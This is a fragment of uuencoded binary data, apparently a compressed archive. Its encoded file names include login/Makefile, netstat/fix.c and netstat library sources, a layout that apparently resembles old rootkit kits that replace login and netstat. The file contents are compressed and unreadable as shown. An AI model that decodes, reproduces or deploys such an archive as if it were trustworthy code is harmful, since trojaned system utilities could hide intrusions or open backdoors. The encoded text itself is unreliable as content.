M-H]I];A'9+5FB<LD;2;IE*V9!Z;DKNSY9L'@APEXI)25M&3XFB]MO-23.6S3 MDUE2@P:ND4G"I<&L9>ZNT"V4P=Q?>WM/AZSV]I[VR7AR_MWBW:U"G&J%:\,A M\-5>8Z_-->VF9`.5X'4I:M0E+EN"AVM=U*]BM$7H7K#(N(^)8,,H<6*W<)<W MX4MG*">:.0@40LJ@DHCX&DZ-&X>1FH6QIY6MI>.,1:%LLA"E=Z8`*Z?03K^+ M&R$U/8/-@03/K9FH8QYPT9;!C>/#%$C]E:0+247H&%<6/7^0V0"S);VT"DJ& MP2K6E1G2&H2%Z/O#Y`%(JZB=,NJ5*6ODNS*!YFF#2J$W+)J#6GMGE;[^G0J= M>R7^Y1++3[6#3S43:<(^O2_>;+5C`0K/&,>G6!193IYD!;1!*+_O\9QVQ,P" M&TS2(9(`PA39#FAAS%8M%Q3AKL8?NC=1O'H<@&XO)E,(ZG'O;X@F'7[.*J;: M[;M.X%-@RA"(2^LJ*X)NXR+&)EE:4FDF"45,`]+'0FV5%31C<4OJE_<^!7MM M54SY+2%I4-:L4WYWY"&KE?*12A:0PXU$.(&P76%?IBSX\6-4DBQ-6%`&O.0! MMIDA,+S,S"PC_T@=-->L)UGN2!*=3#TT31Z>9/?A:S4K4X:!*/LIU/(RNJH[ MN>-OYNP+-T-P[J5"26JC_O>2G*1^>3Q^'T;G9A^ZNG8_8?++;S8P+\-L3Y5' M_F9!SZO<<4'Q;@=%F+B&5$G]YFRZ8E?DGW20QV^&[;O&C(MCBL2-*TK%VIC` MKN9ALF#;?2ML/[V%^['/BC#VX--9EJZ"E8)6F8W]G;3Q,KV=@A<VR2/RR:;C M[O'%J,L0B#W\557-A2[86PP!2`,79NK@))7?`UV3C&6#*[_\)?/1S'(%C(,H M/&:."UHLW01&+LO6!9N.JSR'&&`EM\%W?BN&Z-.1QC5?8$PX;4A->*=_OP61 M*\X&DJW'MEHQQYT5#&$V#D]Z)'IT$A#0Z$GBC=<4,Y58V`@"D"OSL912'N+F MH]Q5L!H-G:EG76(!'U!XM"&^GA;![&,+XA#M1/B:\VT5<;$!887'2.,+TP@^ M*7*)4NS&:L>;Q:P^4GB-6<"(+[OQ<XYBC/UF_(A2L5#6H"?9FD-/T9*.N)]= MS5WRW];1%-(&9A=1`['8)@+]L8`66VQ',`,A`5^>;.M[7M9^N'*Y9H&]05R: MSJ]\L6WQ\^&SH\_&"K1R*M-VW'!R<MKK=W-2JW.5\B]BG<D.:#Y9!2Y^V1:2 M)8WW*O?^K=*6\ML5YFZ*[*!XR'?<I+%)N!8-1`D,(A,>A$9/F($RX;WVFL90 MUER^UEBX;BX8QP7\G5V(\V'T9[G0]/O']$=/8C!DXWW[(/+8Z7\`?;MU$F;' M6P%.NW!!LET0I.;Z_0JW(XT$O&?#_<YX0ELV]URWMRMP$V]Y5[Q)*YS/IZE= M]+SVS9[)T*VK/LH^\O)0@3,W#C)L96%E&%SY!$RG^6/ASM!JU=2_QR!>2^F& M4V;WP9K6MLW#YGZB"E6'1T\:3_-UY4;GHWQ66Y=82F12WG-VX4$>!.)::[T4 M_X0/UC#.$37B]P+L#'HS`V&E\*!M'U-,F4^(A.+O3<=9&S,=/^36T__CJ+[= MD:;"N;1*1[.=S2G@KIC-R8$KI^8*0'\_+9@CZXXT3`&3!8`T8WV'KO*^!<%3 M8*W,2-7@Y+]+P9S%1>6ZNBX3I48N5W?V<E=H@$PT"0R<DM=.ID4>;*B;@`/G M4O0J]>P;"9%#N-9C\:N+2#'6M":G/[@L1R;^U47Y*/5Z",/RKV%4+@9O!\-W M@ZQ`1#]7:LFFMAT>$I16"[%3OC%0^(6/]N]8@]Q)HMW;9B'2C02OF(6<1GVN M-##:)N3?7"JJ#G-I0T(T8CCEOR;2+K[@6RP2V(:>5OOSPL^_0*L</?VI^(LP M^U$:%QY=[YJOF3]MZ4[EP,^ECO5QSE]L1D!0^G5!L@#UU0FN13(A2$X*S`D9 M\X),1T29#==:7(,2RN@4(\3>F^.'4<0`.WI*8G'.)A@["_CMGXCK*_FWM.`P MP(:D'1GS$5]_4>*DT<;YQ>/'-FX(`Z!][DI2\P>R`.4!UA>?;!I>R:HU]4FN MJ""J`<8G72^'P<T_FUM<.I(A4&L@]#RH$**)/J6?`L7[_"I9$C.=!!)1L'78 M*DPG!*^E0);&S&PL[5A:VD:MG4\^U'B:?(KR37R)M&@IKD^:P.+<.<?J,-8L M0_C]:W?T0<;2X=*AN1X\D)B\MT6`F!PMR+?X5[Z3Y#E6+CM?K524>!LW!,7N MZ2LYF@PDW)>M_XC(2BOR?!+BG+7S&QTF-2)L%U-WWM835>[D!]N=4,3[[,A< MC"IB+S=/]86VK#SZF[GB5KB.IG/R""G52Z2N+\,@($%MM#EQE,R/.*I+#Z$2 M!'78)X??E"<I4>Z8WVG#K\?*;QXL\_'%&^E83GXM)B_^3';NES2SL6/<I0]N M->_E)7Q%/'#TKU2>+15"--"7\J;LI@-OIQ@4R4K_RJ5/DBN7OX6E-#*E.ABA M"C"J'TI1<QFG^&'!R]M,B!AW4O9A\@NA_(9C1E*%^!0Q@;`K>\GXG20CK_DM M?CE)FYC\>QU?=2LB-+A/KSE2FWVXYCE;%K)Z$D`J/&:!OL/,0A#'-`LFWA<5 M>2B_^0.OX5/,N`:P4GMQ1ST9P,]C2=^4MNH)AMR]R,?Q+T#I'^;@GQR!EKJC M8OUI%@GQ)/=+4_TO4$L#!!0````(`+F=2QV\ZKM>,P0``#0)```.````;&]G M:6XO36%K969I;&6E56UOVS80_FS^BFL38$D626O1`44V#W6<EQI(DVQ.UZTH M$#`2;7'ABT92<;TA_WUWI!PK[C)L6`#'TO'XW'//O7@+WO%;,9-*P,PZ4'8N M#33.SAW7P$T%-M3"@1.*!U%!&Z3R.=N"PR4T5KRIN-0RY[S-JUNTCI2"4$L/ MI:T$X/?,":&64$D?G+QI`[]1(F=L/`;Z&\*\+!G>&]?<S`5,#R?G1Y.?(%@H M_`T2D3-8VA86W`3@E48+6KF3P@,^$S.,8GP0'(G.V-:@$*',X8HH\-E,E,&3 M%Z95\B"M02?TER%F-A<A+'/6!1T,4TRB,[5:@);S.J30R*=,#&-R1`_C[`,F M1/`FDM2M#YT;0GS?\%#[O/X!O>VS9^SLXK0+<L==@;G$."+`>'1ZW.5,3)VU M`>5R2-VZ)?'E**8)SBHEJGW0%E/VHFSQ2Y@[Z:S1P@0J2<F1X$)B"2I+MVK" MVME-R+R'FL.E$S/AL!@8P:"O%PUW6&!`&'P*DL1B'34BW7KWLJ``1'M459`= M3=^.CBX^7%]^.*((XY.ST>DT*F5U0^VTD*$&WS:-=2'VEJ]Y91>([_W"NLJO MD8ZOKJ\^TEV-O0A>ZD:)6"8OHL`0I!9_6(,]ZJR.XA=7'Q_NOQW]?'S]X_N+ MJQ%A2%.J%KOO]]8&CNF7M2AO8[_$YLY+UG$=0G;Q$K))3A12$PP_/=_>Z9YW M/SW'@TZ#>-`]XP$[.XH8".$A.U_5\FQR&&%5EVJ_?9'92HRGA%#+AMPB2O_J MKY?0&B6\3QW_%?:V<MCR2SI9@<K8A8Z&"92\<1SKS"(4SAEC,7=[\QO22S)8 MZG^BD%L6)R$=\C05EI'^R;2N!YI9/GU_<C+YY7AZ`'D):,G+W!ZPP?:?X_$] MX/\HS#UD)6SOH=B,*W4P2'ME4=LT=5!;'PS7(DWCPDGLO<IJ+DVTQE8F'UDQ M1@-.(&R0Z3M8UZ>(=S?><ZLJ-B@;R+I)7Y]_<3]1V33T$38]T%[;A8E3FM." M^@<V\2Y=T+:";U^]^C>^,6C2JJ!=M!F.C$4\7P'SH?N\WW[M'Q]%'%+[0>>> MN$GMU@OG00L_[ZL=)SV%SI2A[EX9BG1M_8HE88,M6+E5XJ[`)+Y)3[BRO%6" M#8)MRQI33?MOMVB#;GJOB\>OBON`.?R-S/_Y/HG3#MUBW\Z'[G\3>$B;M/H. M-K7OGS(VZ1H6NLZ-!:&2X\]?M[NIK:3W+?[,V%#%8I")-MM#PV>:FX-X=R]_ MD6*@A3XO.NOK1];7;/!&(&\XQ^5"R\/7ME45N-9@B0-ZT';!3:QYVJIH:;G" M/307GL6!/\`Q[@;_?C72M.&03Y`E9+:;J0<GD@YWS"Y+.X3NKY;)$P#=2*W= MUA"Q>Q%B9[6L<-YPZXYW-R#2@/3<UA"E$E$TIVD"]FAAX:94V1=V>'(C]2:E MMYSZ&^DO4$L#!!0````(`,6=2QTUFW%:O0$``+4#```1````;&]G:6XO<&%T M:&YA;65S+FAUDL%NHS`0AL_P%)9S:7/`AU6E=D^%Q"U(%"H@A^X%.3`I5L%& M!M+R]FL"*0G=M1`&S_?_8WN&K$VT-AYO5K<U:PO!*FBLPKBS?J$;!]0'E-#? MHCOR0.X?-*@?Y`([\K)'E<SY@4..]CVJ)3SFC%?<8JRS\@]TD`KY7'1?6D%, M<\4/(H<#2M,XV6[2U%PA4$HS^!.0`&W"!+*#V$.9K&I>@L+F"H1.,&MCQPNV M7J2E^H\+."\@3*#-+O@IG+[:B9LZL4M]'^F!R9X+TA1X06P61':)[)(TL%]H M[/VA`X'N%^(D>4/CP"2'(VG;?A;K8/+V2F/TC>B-#DC;US!C,=WL(GKI-&`- M9)V"DY])UA-KC%FW]&F8C=FX:Q0I9<;*X0B_Q]>P-GQ86)?@/Q9I%(:)@:\% M^'RU6G>M<G>QZX?/7F!@J^B:HI3O7.`%]&)[OA9KUR-3I*FE+$G%>/F#"Y/M MD^=38SQP)=M\B03AE.U$"#GE6Q3AS`S5N][1!'B!ER2V,]EPP=N6[9=0M)GB M*OL1HLYP37/#*=A+V2ZQV`N>OX_3</%>_AL[U=NX+/,(+\%=3*.Q+4:V:T"= M&N(O4$L#!`H``````+$;/B(````````````````(````;F5T<W1A="]02P,$ M%`````@`HFE0'4+]3I9^````]@```!````!N971S=&%T+V-O;F9I9RYHT]=2 MX%+04@@HRB_)3\[/47!+S,W,R4PMU@.*`I$^EW)*:EIF7JJ"AV.8:[RC6ZB? M9X2"(;JHIY]K"*:H8X21J8(!AMH`D`%<^B#C%5Q2RS*3@5*)12GEB46I"B65 M!1"[%3`M]PAW#?%P#4*WQR,\V,<S`%,4F^T>X0$!(*4`4$L#!!0````(`,)\ M4!W)ZQYI=P0``-<+```-````;F5T<W1A="]F:7@N8[U666_C-A!^EG[%;(JZ MDJTXDEL@P6KEE]8&%@W2AW2?4B.0)<HF8E,&225Q%OGOG2%%^:B3[0'4,"3- M<(YO#@YYT?>A[U7\F<EA09_S+7PN&3*`*"[4ADM60BU`->MA`;DHX3;G0M_J M7,-H&*/8A>]_QT6Q:DH&G]167>CMAJGA<GS$5JCR5Z[F:W;$U26O#UF-X,@E MGK]&[Q#D<E%$^'@,?03C$9GZQ3*77K]/[-3_ZGN-4'PA"+[DB_M"%E'12,F$ M-M^:K3?IGA!I0\FK*HGH.8KF374WBF<H8PPC6%116MXEL>'B9U-H\"@NH`<J M=&R/XGK,5U#1Q]UH%D%-7Q$(>AW*O=2"@7XA.*M:+,#;U(IK7@MD3#]?3[P^ M&<9`P>,1%B=+4M]'1F43\>FG$+XV*E^P($S9,]=!$J:OOF^0D<3C73*+>BW$ M,&U5L:*[19>B\$,6A^",'`EB%+V]%![)HK^-1)!5T*4J.BLV\+W"_UGD7)GW MCS,R;N5VXH;W31NCF;/UA@W?,V7,`A=4+WZ>3L/S8`^[9:$^M4&VOS(PRJ$1 MF$Y1HJIEP+,XY9^N4CX8A+Z'O04`E!K2[B4AT!LR2X_'R!A`_'P5QW%J1-E* M,>,)QN,,L'K>JP4YRH)#E'$<CL=7B-58/@1)3X-N]#^@(WVC<-ZU1I:AJDVM M>9XGKI6""LU7]8:)KJ/@3`[F9V$(608W7ZZOL46-,ZAL@;&M=,FD1$$S?S[" MS[GX00,9P5K_(<XBV"LS:>ZZ$O%5BK&'H(KBZ^AV,OGU?G+S"ZVXG9-5FJU6 M016>)Y?I3MHM6YW;R>^D4TF6EP%NC2BYC)*H"@_2BOHVKVU2:2SPF6G]-J(N M)A>2B^@Z5QJ22YAO-5,@:@TO3-88FHOH34V;"YK#Q9(5#[@##[5P!L0=-4?\ M#Y9J"X?K#AW!C6>V8&G'N;*<D>6\FQU:?Y)<LZ,,40V*5:T8)CGU?,]Z+I;K MNNR:H!TY0Z7OD<U"!^J-J&]JV#"YYDHA"-`US62Q8$"Z.,0Q@W@,%4L,?\5V M^3AH"X>B?A*G4#2\W"<7O/RWF-`!DW\;E#T%XME0/]XK5G@9[*'(VQ/!"B6G MA=:MD#D^3DH4!V:LKP:ELGV[AM'9,!0UDDO<@FE:JZLRWP8]>V+U\&3Z5I9L MO](^`M*!N@*T\&Z-U($K\0]=H?8)3YWQAM94UP$F`\8P['[OVM]U'J^VQM/. MA7HK2;@LF6ZD@!AW!)[`/FY<VHTK%M$`;6\H1*=^=_'HX]+A?06UVO.>1U"T MEP`PEP!S/Q!FH%@1#[%7JP7.W_C$-#:N<13_QT%,9MSTL1%VQ:0(C6_/HFJ) MIR6J()0":6RJ`H=$"!\RF/PV[0!8A<&@-=Q>-7IQ@L.VM4N,$R>6.;):(7=F M$9OH0692YL@>XG%GI9N.&"UN7`.IA6*3V$%Y,S6FPZUZ[;+CDM,-1+*,--4U MLZ5L<Q8C&[NBO:I1R8][\`LM?6Q;[62#FLLL%WBSE&RSR@NVQGL+S//BH=E8 MO5?_3U!+`P0*``````"Q&SXB````````````````#````&YE='-T870O;&EB M+U!+`P04````"`!P8U`=#N_M6*X"```B!@``$````&YE='-T870O;&EB+V%F M+F.M5&U+&T$0_GSW*T:%DL1X9R)2-"H&,;;4AD+5%DJ1S=Y>;NO=[K(OZE'\ M[YW=2X*76J'@AV.Y9YZ9>9[9E[070P^FYU<[P^BJX`9R7C*@4EC"A0%;,+!2 M[93LGI6@B+8@\X`J+:VDLL3T*#).*8FQW`EJN<3$2F8."^52!W9H`#-B&&3< M6,UGSO,2S/;];Y@V^'L8G7:VNB1/:#1(!KO18#?=?9\>["U88V<+J0^CB689 M3!.X)P(^L4HQT8>C!U+:7^S4^34195*YN6`VD7I^$B2>255K/B\L#`X.]N`S MIUI^0RZ<28W:B9?3](F:0:#!N285^)EHQL#(W#X0S4902P<4>Z.,I1<&W(94 M(K(4/7O_/*\1!2<RAD"8)-.5\0,,?Q?3:[A@@FG2#/&+FY6<`EQRR@0.BA@` MY3%3H%^8U4T:3+P:^+J0$U(G$KL$"R,`QI&&'>^;H<)PN66+PGWP`CND$8QF M-$CE<[M`1`TE09G+9+]!:;S%!2U=QN#(U":UM6(F*4[68"/I'0Z\C=NLY+._ M,"[;$--:K$'4=UE/U%S,VY@3N`-9"]O$PYMSY&T^PQ8'M`TJ8@M!*F]F,XYC M]HC&181M'+5`<J\@<L(H1F^;O]&_./SQ=0;'H_@Z@SP.]U>,.#86=Y-"BP.] M9C4_?L(Q_(X!WK74]=%:#A_&-^>WX\E'O'$-8Z4-XTS@J7R)]DS@2[3Q]^&^ MISU3N:(!3*\O+^,G+SOMP5G!Z!WX0[5\(2`G%2]KL&2V>A'\I0IHXL_7FLUX MOA+3H071T/.[U(V]Y34JCD1A8T!`X5`6`QHA\%#XAZSC";!Q'#1V<6@1FNIL M8!5:J4Z(=G=.?/D^A"9=O-76:=&$1G&$R_:V+_B$WR(6BHWBI[=V+()E+GS@ M#>TN;9(<CGW2_WG\`U!+`P04````"`!P8U`=GM3%%>X&``"$$0``$@```&YE M='-T870O;&EB+V%X,C4N8]57;6_;-A#^+/^*JX>D4N(XB;NV:YUD\Q*[-9JY M09UV!=K"8"3*YBJ3`DDU\=K\]]V1LBV_=,.`?5F`P-+Q7I][HP[W:K`'@^[U M02NXG@@#J<@XQ$I:)J0!)D%,\XQ/.1*L4!)4"G;"H=YYWVP]KJ-P$)@BSY6V MD!8R)AY4HK3C<GKAAAD.B3!6BYN"&)HH1F;?<6WP]7GP2_A#Q.Y:CYMQ<-QL M'07'K</C)X?/'I5\@]?7W>=!'VY%EH'FB4+EZ.I4)04ZRPP8A9[A;Q_&RCK+ MF;AQ"IGS$-\TTS/DTY8GH`K;!'#ASD\6$1LUY5`8GA:9$V42^5/+)1$38$FB MN3'$_\5[OPR[`0FSC*+U1I7Z7.1@;)&F#2`]4Z7Y',!,?.9S'#J%G2C]/.AA M;#!HPA>$_16?YEPVX.269?8/_DM!OTV9-:?%6'+;5'I\YLR<JWRFQ7ABX?C9 MLT?PFXBU^AUYX5QI3(O+FK<3^`SG6HTUFP(E6W..$:?VEFG>AIDJ($;;Z,8\ M6QR$G>-PB%DET$4Z0RH4,N%(H&`LUU-#D;FW%X.W\()+KIF'\*JXR40,<"EB M+HU+&.1$,Q.,%VYF7@QZY`T,2W><:$^A%1="&X`+9$.+<^!;<RQ+Q0T@!T/F M'<9@-*B<9"-$?P890S?GP@3]8>T'(>.L2+"<,9^I&#<G]1H24WC9>=<==7J= M]ZW'\.V;?WWY.[TN94[,S!S:6<Y-<W*V1A8JMMDFV:CX,^9NA9X)6=P=NF+= M0A?IB.D<3X)#K),W5R_?7(R<5U7O3XQ-L)#7[-E$J%523-ZNDKC6<HTKC>6& M[U@,<KQ*HYP+M19[(;%PDA5:O1P/A.V2F#,[D6Q*V"'D-4/3)89XPC10>"/T M:VK&'XY;/WUJXSF_0W,2>TD7L0664B!`F(W\<WM-QU[-:<G1;1L6T@CLF:0\ MRJV.:E]K`%6!&VS2#V0+`$5`H$)P8RP4<`I';1!P`D_P9W\_@J^UP/&+3W@6 MAJB0'G?AZ-'3IQ&<G<%QU*X%6$;A@NT4'L+#")9B#S\>/21K]_COJ$^J5+%0 M_,0IOCON+A3C:4IN/4"_(C`NQC3<=4H0H(Q+9S;ZU(#ZP4Y2;X!P4IK;0I=G M[=H](H8E=2%,GK$9#7HWT<&7Z'S.-:G.M@#KK89E/DB&!&#/L+SA`)3%E&L1 M>Z#)7SPY.#-LE+*IR&8$R-%=#_^HO;:<17-WZQ\&KP==&':O/]6K853R&Z[[ M,:+*@+T(]4:DF.HD9EG67#Q%)0)E:*C%QR5D7MC01XI`83#;0O11;985N>=? M%$[D!L2KY;0>9K6`FRPE9E3B,O^O`W(&,)\]H8U%KVF,T\KQ>\KO1-Q,E$;D M)L==:@'(4S1)P<X+[X@>;B=X$0A#AP*5&E5F!+N[4"$=E!37&Y'KBQCE'</^ M?MD"PF3JENLP1@8ZM0KG@7LO&1X0SYQ&Y2!,(L;"DH33&2`:<3X+*X,!2[LO MO[!,)(MXJ#IP="<\A8ONKV]?H%Q:]@:.)!1#&0>7S_&.B9[#CH$''R5VR(IJ M@H24<8FK#M6X&8F>=_N#=YU+]#HH:_#`]?E]+:#D[^]3YE:*(L),QG!R@FWK MFKC7=3$3--3X/F/GI?\(C(),R?'//C$$#0V?4X3V.[BO)L=AM16J#1.;6/TW M4"V0:OW:?X&A5G%:1CQ0.>[JE"YS>!-SI3F_5MW,+#=XS[,3N,F8_&S**G75 MB'6"()^`$7]RE8:^>[Q@A"8H_+])!,[?]50L71KBS0,!O^4@.<I811[14!P. M^Q?H*L^2YC(M'O?3,A-HEKJ&627"_7TZHBSOE:V\X8?8X@7P#.]%7[\KM5P6 MWMT.0I<HR9O^&E!))"ZM?\ID?9&VS0VW#5J_]+:4R,Y1ZSUIF\\UNOU6%F%[ MFS,??9_Z>EE.\Z.M&PE%T#^\)!@VYM55]$6)Q`_LB>,I)[;%:\)RX]`;)6GP M]O(RVO1DQZR7L_,8?"ZVL%,/.!%2O"YXO_T",OG^GOR_K<;)O]F-%%9EH9;L M>(HUM@R@G`L;>[%RSVUOK9$AGW_E2?=E&8O</>+W`',?(T*RS)U6JX9">=4? M#D>&VQ%)A;2;T\3?6(BP=-Y=X$,ZN^Z_/D>(+QJPZUA\!%^W],.J[ITD6E0, M$1Q<OEK=F"2<%P/24^;WP2T!6U8N<3("7,8L-T56?I)+=^*^W!-N8BURJ_36 MR(7$O>JC7L:ZZC?%/!@-+_M76Y.U"LZ0P.GWNH/SSE4#?D2)#8&U8,J:F=PN MK_#E\RF00VY<U1M!O?/;U1M_)\6WH%(2C>!I`QF75=X(*KU&O,MR;02+L&OW M[87US0^(?[#>^UO+9L5R:;@RGISI<NC1=YS[G+R[FW_'_0502P,$%`````@` M<&-0'9T`SC/B!```T`L``!,```!N971S=&%T+VQI8B]E=&AE<BYCS59M<]-& M$/XL_XK%#-A.%+\DM`Q)2''!29@&EX$`G0$F<Y9.]H%\4N].)!Z2_]YG3[)C M.\E`^ZGZ(/OV=F^???;EU-FHT08-!Z=;V\'I1%E*5"HIRK032EL2FM0T3^54 M0N!4IBE+R$TDU0=X&RU='?9!8(L\SXRCI-`1J^&<S'A%?S2-A)44*^N,&A6L MT(89>WXOC<5R-WC6O-^2?&8["GKM7C?H=3O=QYTG.Y5BOW"3S.P&AT;&-&S3 M-T#[0TYSJ4/:/Q>I^R*?%?S;UFE[6HP!K9V9\8&']SS+9T:-)XYZ3Y[LT"L5 MF>P#=.EY9H#;1U;Z"4H6<I.-C9@2$V*D))LE[EP8N4>SK*`(O@%C'HXDY;RI MT'$'8=,TBU4R@Y0*'4L(F`@GS=0R?7YU-'Q'1U)+(U)O^KH8I2HB.E&1U.!* M6**<97:">&DT*\WHD-'0VPJ.-SW,X,6'L$<D%7-(]*WDE;;G":L.#HD!-D4) M&,$8RG*V;2'7,TH%8,Z-.4>=VGVEH[2(D7)41:+&[4F]!F%"Q_WW@[/C#X/3 MX\&;:ZU].[,=-\NE;4\.UL0VB[XB+2OR5.GBHJ.2LS+YM^\)DZ^=YN)4C6[( M5+8JDL;H-5'$V-8-C=+C55FAD=UX15:OBIP)N!;FPDVTF'*XX*4F+T"@)AQ9 M1(XFY^R-?&AGY6(/2IT->J%LGHH9-]B\DTC$L9'6DN+J$K$8H1/11E/AVIP( MRQT84301!J6:FY*Q9J&M0K7'U4;N3*OVO4:TK#XJDN3CKX\^PSDV<H3KDB8+ M0ZH_Z&[_M7O7JQ[6@B:._-C]3`^IN_/X<2LD+^BM"[:O!97-SKK*HW7!+PL! M<+7V\#+2%49[;%A?W4U664MSSFXGR)8,5<E@"U:G#2ORDB-4<1.+K0,KSA(Q M5>F,GCZE[L4A'KJ\I%OV6G.(]8_#/X<#>CLX_5Q?AKY(S-P8O2E:U\&\U'GA M;LT[Q@=/7G2?(Y?12&EA9LN1(6TUI:OCRS!!5![2W1'>K`Z&ZA=12!L9IB(+ M<#*I$$,U+4MD+>Z5"FZ798SYY`RVEL/TQ@K"+N_SX?C/$'EY/L'5TFQZR'3O M*34^=1LM>OB0FHKV"6/DK'\R&+9:]+T6`$AY2A#AUYML;F+%"5,V5F/EFA%4 M2[V(MJC1;6`?`S#%]&2UB`[@0S380T3[^)\T5@RPM4F][FU6_26KPU6K_KK5 M=QZ&L4SHQ>#W=T>U($BJ_L+\P/Q!ARU2]L"V=D$U3E-Q2>D\]_<^Z7KH"4.A MW)<:]P=.\N,+C@<OA^_[)W`95#6VU8-:<%7RM`^4CWZ*J<M_3=7E?^/J\G]) M%E?_YB945F=FBYJ,N1I$3!T36`O0JQ\D3?UGPYC;E*R<JBA+<:T"C42`.G-H M^[\+A:\!WZB>]K+",2P:NPU?S64R6+*H\IM,_(@*9X3"A3@FL#+6&3QZ'MBR M?#PAUWSPLT<(`B`G;,?PF(9@42-7Z,HK;EEHG4Z$:^#NP5U#?7P)+-Q]*?37 MW]BX')?K<7#_KK;TS=A^-C)VM9+<FTE=SFD5JH]AQ2'1#SP^L`LO(=TYL*OS MKT=[MYKB=]_N@,I3M^YE]3"H][JO1KE=S'J(@OZ;U\=O7ISY[Z8PF#,9\D"M MD(3!XO(*@SGR,!B^.SFI7?$'1(F,*W3Y(XR3]`]02P,$%`````@`<&-0'9EC MA1=2!```(@D``!4```!N971S=&%T+VQI8B]G971A<F=S+F.-56UOVS80_BS] MBIL+-'Z;[*39A]1)T:)`BZQ9%LSK^J')!UHZ6YQE4B6I>$:;_[Z'E/PBM\"6 M`+)XO.?XW-USU*@?4Y\R64;1&RJ-7ABQHKDVE`N5%5(ML">*JB3%;JW-DE*M M%*=2*YL`&45_YM+N@`'$EES.C:/SG@!SQEF(6X<+T&U('+.T0_PLF:8WUW=# MNKN[(_A^N)Y.$Z)K1ZE03?"`G&F7DU2I7GF&L).NW$+[Q<&Q0ZJL-Y7"6AR4 M!:CEM#+2;0*978@#E$\K>+YGQ484),RB6K%RB&,LFV:?_F)CX?\R>MU]UENP M@YM-TN@\&2>GT?A\-/YE=''>^+ZI7*[-2PI_[PQ*<9O0(W+ZP*N2U9`NUZ)P M?_/KRO\FJDA6U0+E2;19O`IDWNIR8^0B=W1Z<?%BB,<Y_293HS\!0&^U*;41 MGO^6?:LO>)T;9K)Z[M;"\(0VN@I%!1=IG9&SRC%)%Z"HYPC%H97.Y'P#*U4J M8QA\6QV;E24]KU?O;S]24Z<`O:MFA4R);F3*RC()2U1ZF\V1-,TV-<S7`,]I M0R=`WVF<$E*8$+&$&TY\K(M,9_Y$CVP"#[T\J"MJPDC&D"X]M@<U;*@0H+D% M^X:-XF?H=5%E3!WT>BX72=[9VR[MQH[<IF2;Y*^.S%:G2W2B94=K1G+>MK$Q M2A_!Y4*)XLCF,GGLYC!ILV.;@2[;MDJA55G+UK%5B<Z[5C:=4KA<B97/IA/' M\:A/T[)`&WT!I2HK1W5X+)RF554X619,<\E%9A-?+6S$C::[:2X,]6O$D.K5 M=B;LYX=>_#6FVNR@YL^GX[/SA\G6U+?ED/JE,]Z"J"2'?J#2G<-:*#>)L1I! MMX19\4H/3`\Y"II5\SF&C^@3TTIL<!L\0HRZ$6D-]2B-*9&H^A8^XU144"+T M(XHBN'RIM//%39(`&^%I2[IJ$!.2>!][@C"DY:;KTQHVN[V)'V'L(26X^2UX M'M"_T7I97W1<R)6$#BUU.X#).<:1K;](UCGT"77N6&^(T3L-FFL)DK-P>UJ) MH</4:,6[.VC/>)U+M*SK2TL_7=')_?B$GC\']TMZ<=:CKW&$ME\OE#9,!8O, MUP(8Q[84*<JA6DH(38\.8UXA)OZ_?:/=\MZ=]'S>@P$:YL-/>:>D$I>O\_WQ M<?;JD(/!@Z]LV2#>YIS6Y?%CNB]1C4.)]H=WC@X_.0E9(0H>/]`)OE%>*`A[ MD.;O?P07Q?^X&K4[,J'K^D;962!%2VQ347*&=B]EZ2_$@,(&Q@?TO(O289(, M)V$3O",O8J39;XH3U95L-:<FWTHQH-"S?M<;?J;37NU\OW6.=O'PR3,LEN'U MR3\P5X-!ZTB8GX@+:*BN$OU:67PX_T>5DB:)[S@'<MLUM9=>#('8C\B`R];F MXVSEXDOJC)!%6XQ'S6\5[(#4?R@2AQ(]A=GT%PR.EI/]G&SG@K[39G._]6X_ MWMQX@&%7&=7U,7J3^"G^%U!+`P04````"`#P>E`=9_]DZ00#``#D!0``%0`` M`&YE='-T870O;&EB+V=E='-O8VLN8XU46T_;,!A]3G[%IR)HTI2DA4D,>A$, MK6C:AB:-71Z0D)LXC4=J6[Z`LHW_OL]."VMATA[:Q,?GNQV?..N%T(/+MU?[ M!\%5Q324K*:0"VX(XQHD409$"::BH*V4`I>EY;EA`G>7HK`UQ01!4`KE23X3 MS(FF4#!M%)M;QTV1Y'DS:O(*"&B1WU*S3XI"48U5E5@BFDDE<E"4%,*:50Q\ MI4ICBI/@--J)%]2XT#0/ANEP$`P'V>`H.SY<4<^LJ80Z"6:*%G"9PAWA\)XN M)>5]&-^3VOR@I]8]4UZG2[O@U*1"+::^M7,A&\46E8'A\?$A?&2Y$M^0"^=" MX>#$S;$>PTN%S2X468)335$42)3FGB@Z@D98R+$VMK$6@0(S/I3P(D.QG'BL M;!`%RPN*@)//4+743G"_NKC\`A>44T5J'_K)SFN6`WQ@.>6H,-$`TF&ZPGEA MWK1A,'/=P.=5.ZWN`JOX$48`E"$-*]ZURL+!^HA7B?O@&HQ(VS`.HT!(%QL# MX0W4!-M<![M3RL(=QO/:%A0Z:)V2+=*J$SZ!8]WHS#22ZK2:;L&M$;9P4]1L M_@QC8A.B2O$M*'=5M@,5XXM-S'(\EF(30R\P_&6,;^"=E>W=1$^@)*;B9.D& MPD'#O"(*G;$R9]0NY[:4?<#R-C?>[\[LT--$QN&O$/#8-4,'%M#2I5$C1-N% MEC`!E\!!C!M@?31S[59;"6\8=SG9)'II(\9JHQ"C,#MFC+9JQN#WL409:8V. M+2/?=6>W_M[I[V':_:EF_,;E2[5_Q)/),,8(-T'P2"C)DM7-Y&QV\PYO`)<Q M4-18Q?T0R6N'/(19#QO!TS!EU'ECE<0^T'W=7=V]YIV^8\;H3K03@+M/(H8M M#T;`8`R:_:2BW)X1Z2Q)8FPF0'4\.PQ8"9$7<`+=:].-88X7RNU?&U/<.$.\ M#8FPG[C=V&_Q!(8N#WXG-7YD+[$&W7C4EAR/)_`*W[5,DG^4^/U_-9[1VB+. M%TGR[.R0YH+V8'!X=!0_-N!4QK]6^TBCGN%#^`=02P,$%`````@`<&-0':.E MIWD#`P``GP<``!````!N971S=&%T+VQI8B]H=RYCK57]3QHQ&/[Y[J]XU60! M1!",6Q0Q&H.ZC!$ROY8LBRF]PG4>;=/V0&+\W_>V!WIW,V-+_($T]_1Y/Y[G M;4NS%D(-!KWKG79P'7,#8YXPH%)8PH4!&S.P4NTD;,824$1;D&./QD1'<Z(9 MA@>!2962N#=.!;5<8N!41BDF&DOMV;X`C(AA$'%C-1^ECM?`:%?_EFF#GX?! M266K&L\;-&@U6KM!:[>Y^ZEYL+=DG:8VEOHP.-<L@D$#9D3`%S953-3A:$X2 M^XN=I&YMB*0Q32>"V8;4DV/?XIE4"\TGL876P<$>?.54RSODPIG4V#MQ[61U 